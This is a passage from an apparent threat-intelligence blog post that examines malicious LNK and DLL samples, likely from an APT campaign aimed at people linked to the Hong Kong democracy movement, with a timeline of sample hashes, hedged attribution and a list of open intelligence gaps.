96d9fd90e180aaf435c21334858654f6.vir (Norton AV) and beoql.g. The other two files were not recorded by that hash on Virus Total.

A rough timeline (if all the dates and times are believed):

  • 2018-02-07: Compilation Date of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa
  • 2018-04-26: First Submission to VT of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa
  • 2018-05-31: Compilation Date of DLL samples 92ad7532f7b6cb5b6812da586ae9c2c6ddf65de38aebf4067853968be20e72a2 and a76cb406145b1e094a8ec46ae0cf959495bfa4aa19ccf6b48353cc459c00005b
  • 2018-07-12: 360 TIC report
  • 2018-10-28: Last Submission of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa to VT
  • 2019-10-29: Submission to Hybrid-Analysis of five LNK samples
  • 2019-10-29: Submission to Virus Total of only one LNK sample: 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d

The APT Link to the LNKs

Googling key elements of the above malware samples, led me to the abovementioned report by 360 TIC who detailed the exact campaign for only one of the files (ostensibly sample SHA256 ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af). Their report is extensive, and looks at the DLL dropped and its later actions and persistence.

However, it is clear the samples were part of a campaign, and two of the files I can very tentatively associate to an online account. One identified social media account has limited use, and is linked to other accounts associated with the Hong Kong democracy movement. The second account has not been active since 2012 but posted information relating to Chinese corruption and apparent unauthorised detentions by the Chinese state.

However, there needs to be further information before any conclusion can be made as to the purpose of these strings.

If my hypothesis is correct then each malware sample was customised to include the suffix of a known identifier for the target. This likely means that the attacker did not know much about the target (i.e. end infrastructure they would potentially compromise).

Intelligence Gaps

There are significant intelligence gaps that require either deeper analysis on the samples or further external information:

  • Why were the samples uploaded now, and en-mass?
  • Are the suspicious string suffixes related to targets? Or are they used as reference to accounts controlled by the attacker? Or unrelated at all.
  • At least one sample is likely dated from the original 360 TIC report meaning that it was around mid-2018. What is the relationship of this sample to the others?


There is a bunch of further analysis to be done: including on the DLLs and the other extracted files from the malicious CAB files. This post is initially seeking to put the files out there, and share the comparisons between them.

I'll reiterate at this time that the 'attribution' to the Sapphire Mushroom group is not mine, and solely based on previous reporting and the high likelihood these samples are from the same campaign.

If you have more information, questions, or analysis feel free to hit me up on Twitter or via email at [email protected]. Thanks for reading!

  1. All Chinese-language text has been lovingly translated by Google Translate. I apologise for any errors. ↩︎

  2. I have chosen to redact the strings themselves and instead refer to them as STRING 1 - 4. ↩︎

Article Link: